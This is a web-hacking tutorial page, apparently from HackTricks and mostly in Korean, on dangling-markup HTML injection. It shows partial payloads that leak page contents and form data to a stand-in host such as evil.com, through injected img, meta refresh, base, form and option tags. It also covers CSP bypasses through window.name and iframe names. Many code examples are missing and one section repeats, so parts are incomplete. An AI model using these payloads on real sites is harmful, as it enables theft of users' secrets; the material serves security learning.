Dangling Markup - HTML scriptless injection
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
이 기술은 HTML injection이 발견되었을 때 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. XSS XSS를 이용할 방법을 찾지 못했지만 HTML 태그를 주입할 수 있는 경우 매우 유용합니다. 또한 비밀이 HTML에 평문으로 저장되어 있고 이를 클라이언트에서 유출하고 싶거나, 스크립트 실행을 오도하고 싶을 때도 유용합니다.
여기에서 언급된 여러 기술은 정보를 예상치 못한 방식(HTML 태그, CSS, http-meta 태그, 폼, base 등)으로 유출하여 일부 Content Security Policy를 우회하는 데 사용할 수 있습니다.
페이지가 로드될 때 <img src='http://evil.com/log.cgi?
를 주입하면 피해자는 주입된 img
태그와 코드 내의 다음 인용부호 사이의 모든 코드를 보내게 됩니다. 그 조각에 비밀이 포함되어 있다면, 당신은 그것을 훔칠 수 있습니다(더블 쿼트를 사용하여 같은 작업을 수행할 수 있으며, 어떤 것이 더 흥미로울지 살펴보세요).
img
태그가 금지된 경우(CSP 때문일 수 있음) <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
를 사용할 수도 있습니다.
Note that Chrome blocks HTTP URLs with "<" or "\n" in it, so you could try other protocol schemes like "ftp".
CSS @import
를 악용할 수도 있습니다 (";"를 찾을 때까지 모든 코드를 전송합니다).
You could also use <table
:
You could also insert a <base
tag. 모든 정보는 인용이 닫힐 때까지 전송되지만 일부 사용자 상호작용이 필요합니다(사용자가 링크를 클릭해야 합니다. 왜냐하면 base 태그가 링크가 가리키는 도메인을 변경했기 때문입니다):
그런 다음, 경로에 데이터를 보내는 폼(<form action='update_profile.php'>
)은 악성 도메인으로 데이터를 보냅니다.
폼 헤더를 설정합니다: <form action='http://evil.com/log_steal'>
이렇게 하면 다음 폼 헤더가 덮어쓰여지고 폼의 모든 데이터가 공격자에게 전송됩니다.
버튼은 "formaction" 속성을 사용하여 폼 정보가 전송될 URL을 변경할 수 있습니다:
공격자는 이를 사용하여 정보를 훔칠 수 있습니다.
가장 최근에 언급된 기술을 사용하여 양식을 훔치고 (새 양식 헤더 주입) 새로운 입력 필드를 주입할 수 있습니다:
이 입력 필드는 HTML에서 이중 따옴표 사이의 모든 콘텐츠와 다음 이중 따옴표 사이의 콘텐츠를 포함합니다. 이 공격은 "Stealing clear text secrets"와 "Stealing forms2"를 혼합합니다.
폼과 <option>
태그를 주입하여 동일한 작업을 수행할 수 있습니다. 닫힌 </option>
이 발견될 때까지 모든 데이터가 전송됩니다:
폼의 경로를 변경하고 새로운 값을 삽입하여 예상치 못한 작업이 수행되도록 할 수 있습니다:
<noscript></noscript>
는 브라우저가 자바스크립트를 지원하지 않을 경우 그 내용을 해석하는 태그입니다 (Chrome에서 자바스크립트를 활성화/비활성화할 수 있습니다: chrome://settings/content/javascript).
공격자가 제어하는 사이트로 주입 지점에서 하단까지 웹 페이지의 내용을 유출하는 방법은 다음을 주입하는 것입니다:
이 portswiggers 연구에서 가장 CSP 제한적인 환경에서도 사용자 상호작용을 통해 여전히 데이터를 유출할 수 있음을 알 수 있습니다. 이번 경우에는 페이로드를 사용할 것입니다:
희생자에게 링크를 클릭하도록 요청하여 당신이 제어하는 payload로 리디렉션될 것임을 유의하십시오. 또한 base
태그 내의 target
속성은 다음 단일 인용부호까지 HTML 콘텐츠를 포함할 것입니다.
이로 인해 링크가 클릭되면 **window.name
**의 값은 모든 HTML 콘텐츠가 될 것입니다. 따라서 희생자가 링크를 클릭하여 접근하는 페이지를 제어하므로 해당 **window.name
**에 접근하고 그 데이터를 유출할 수 있습니다:
HTML 내부에 새로운 태그와 id를 삽입하여 다음 태그를 덮어쓰고 스크립트의 흐름에 영향을 미치는 값을 설정합니다. 이 예제에서는 정보가 공유될 대상을 선택하고 있습니다:
HTML 태그를 삽입하여 자바스크립트 네임스페이스 내에 변수를 생성합니다. 그런 다음, 이 변수는 애플리케이션의 흐름에 영향을 미칩니다:
JSONP 인터페이스를 찾으면 임의의 데이터로 임의의 함수를 호출할 수 있습니다:
또는 일부 자바스크립트를 실행해 볼 수도 있습니다:
자식 문서는 교차 출처 상황에서도 부모의 location
속성을 보고 수정할 수 있는 능력을 가지고 있습니다. 이는 iframe 내에 스크립트를 삽입하여 클라이언트를 임의의 페이지로 리디렉션할 수 있게 합니다:
이것은 다음과 같은 방법으로 완화할 수 있습니다: sandbox=' allow-scripts allow-top-navigation'
iframe은 또한 iframe name 속성을 사용하여 다른 페이지에서 민감한 정보를 유출하는 데 악용될 수 있습니다. 이는 HTML 주입을 악용하여 민감한 정보가 iframe name 속성 안에 나타나게 하는 iframe을 생성할 수 있기 때문이며, 그런 다음 초기 iframe에서 해당 이름에 접근하여 유출할 수 있습니다.
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
You could use meta http-equiv
to perform several actions like setting a Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
or performing a redirect (in 5s in this case): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
This can be avoided with a CSP regarding http-equiv ( Content-Security-Policy: default-src 'self';
, or Content-Security-Policy: http-equiv 'self';
)
You can find a very interesting research on exploitable vulnerabilities of the <portal tag here.
At the moment of this writing you need to enable the portal tag on Chrome in chrome://flags/#enable-portals
or it won't work.
더 많은 정보는 여기를 확인하세요.
**meta http-equiv
**를 사용하여 쿠키 설정: <meta http-equiv="Set-Cookie" Content="SESSID=1">
또는 리디렉션 수행(이 경우 5초 후): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
와 같은 여러 작업을 수행할 수 있습니다.
이는 http-equiv에 대한 CSP로 회피할 수 있습니다 ( Content-Security-Policy: default-src 'self';
, 또는 Content-Security-Policy: http-equiv 'self';
)
<portal 태그의 취약점에 대한 매우 흥미로운 연구를 여기에서 찾을 수 있습니다.
이 글을 작성하는 시점에서 Chrome에서 chrome://flags/#enable-portals
에서 portal 태그를 활성화해야 작동합니다.
HTML에서 연결을 유출하는 모든 방법이 Dangling Markup에 유용하지는 않지만, 때때로 도움이 될 수 있습니다. 여기에서 확인하세요: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
이것은 dangling markup와 XS-Leaks의 혼합입니다. 한편으로는 취약점이 같은 출처의 페이지에 HTML(하지만 JS는 아님)을 주입할 수 있게 합니다. 다른 한편으로는 HTML을 주입할 수 있는 페이지를 직접 공격하지 않고, 다른 페이지를 공격합니다.
XS-Search는 사이드 채널 공격을 악용하여 교차 출처 정보를 유출하는 데 초점을 맞춥니다. 따라서, 이것은 Dangling Markup과는 다른 기술이지만, 일부 기술은 HTML 태그의 포함을 악용합니다(JS 실행 여부와 관계없이), 예를 들어 CSS Injection 또는 Lazy Load Images.
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)